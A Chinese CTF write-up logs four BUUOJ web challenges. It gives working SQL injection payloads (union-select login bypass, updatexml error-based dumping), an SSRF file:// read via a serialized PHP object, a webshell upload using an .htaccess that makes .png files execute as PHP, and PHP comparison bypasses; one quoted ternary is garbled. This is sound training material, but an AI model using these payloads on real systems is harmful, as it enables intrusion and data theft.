CTF Web buu oj day16
[GXYCTF2019]BabySQli
类型
SQL注入
解题
- 正常请求,有一段只含大写字母和数字的,base32解码,然后base64再解。
- name注入admin’ or 1=1#有过滤or,(,),之前的做法这题都不行了。
- 看WP,有源码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value)
array_map('stripslashes_deep', $value)
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
判断name是否是admin,如果不是提示wrong user!,如果password的md5值跟数据库查询结果一致,则返回flag,否则返回wrong pass!
解题关键是如何绕过这个判断逻辑。
看WP,union select如果查询不存在的话会插入一个数据。
unions select通过Order by 判断有4个字段。
union select ‘admin’,2,3#,wrong user!
union select 1,‘admin’,3#,wrong pass!,user的位置对了。
构造payload为 name=1’ union select 1,‘admin’,‘eccbc87e4b5ce2fe28308fd9f2a7baf3’#&pw=3
应该是,这样union select 1,‘admin’,'eccbc87e4b5ce2fe28308fd9f2a7baf3’会插入union select数据,'eccbc87e4b5ce2fe28308fd9f2a7baf3’是3的md5值,插入后就有一条1,admin,3的数据,这样pw=3就可以满足md5($password) == $arr[2]了。
[网鼎杯 2018]Fakebook
类型
SQL注入、SSRF
解题
- 注册一个用户admin/123/123/http://www.baidu.com
sql注入:
SSRF点,data参数,text/html,base64编码。
- 注入点测试
绕过过滤,database()
注入都是报错
报错注入
表名1%20and%20updatexml(1,concat(%27~%27,(select/**/group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27fakebook%27),%27~%27),1)%23
列名1%20and%20updatexml(1,concat(%27~%27,(select/**/group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27fakebook%27%20and%20table_name=%27users%27),%27~%27),1)%23
1%20and%20updatexml(1,concat(%27~%27,substr((select/**/group_concat(no,username,passwd,data)%20from%20fakebook.users),140,32),'~'),1)%23
1%20and%20updatexml(1,concat(%27~%27,substr((select/**/group_concat(no,username,passwd,data)%20from%20fakebook.users),170,32),'~'),1)%23
得到data的格式:
user.php.bak把UserInfo序列化,blog设置成SSRF的payloadfile:///var/www/html/flag.php
-1/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
返回base64解码
[MRCTF2020]你传你🐎呢
类型
weshell上传
解题
-
无论上传什么都会被拦截。
-
看WP是上传png会成功,可是我的png怎么传不上去,把一句话木马2.php改成2.png上传成功,返回路径。
-
接下来怎么以php读2.png了,这里用到的方法是上传了.htaccess
.htaccess(分布式配置文件),类似于之前做到的题目中.user.ini,允许用户自己修改此目录及其所有子目录的配置。
AddType application/x-httpd-php .png
,配置.png当作php代码执行。
上传.htaccess,抓包修改Content-Type=image/jpeg
这里有个插曲,.htaccess不像.user.ini创建是新建txt文档重命名即可,重命名提示缺少文件名,这时要编辑好,另存为.htaccess,文件类型选择所有文件
两个文件都上传成功后,蚁剑连接到返回的目录upload/8e35816f606927c3c2efe232906f4e3b/2.png
翻根目录找到flag
这里.htaccess还有一种是修改文件被当作php执行
<FilesMatch "2.png">
SetHandler application/x-httpd-php
</FilesMatch>
[MRCTF2020]Ez_bypass
类型
php代码审计
解题
绕过所有if判断就可以
-
第一个if:GET请求上传两个参数gg和id,都有值
-
第二个if:
(md5($gg)===md5($id))&&$id !== $gg
绕过返回’You got the first step’
利用array的md5值===绕过这个if:
-
第三个if: post传参passwd,绕过返回’You can not get it !’
-
第四个if:passwd不等于数字,绕过返回"can you think twice??"
passwd传入字符串
-
第五个if:
$passwd==1234567
,绕过返回flag
通过$passwd=1234567+字符绕过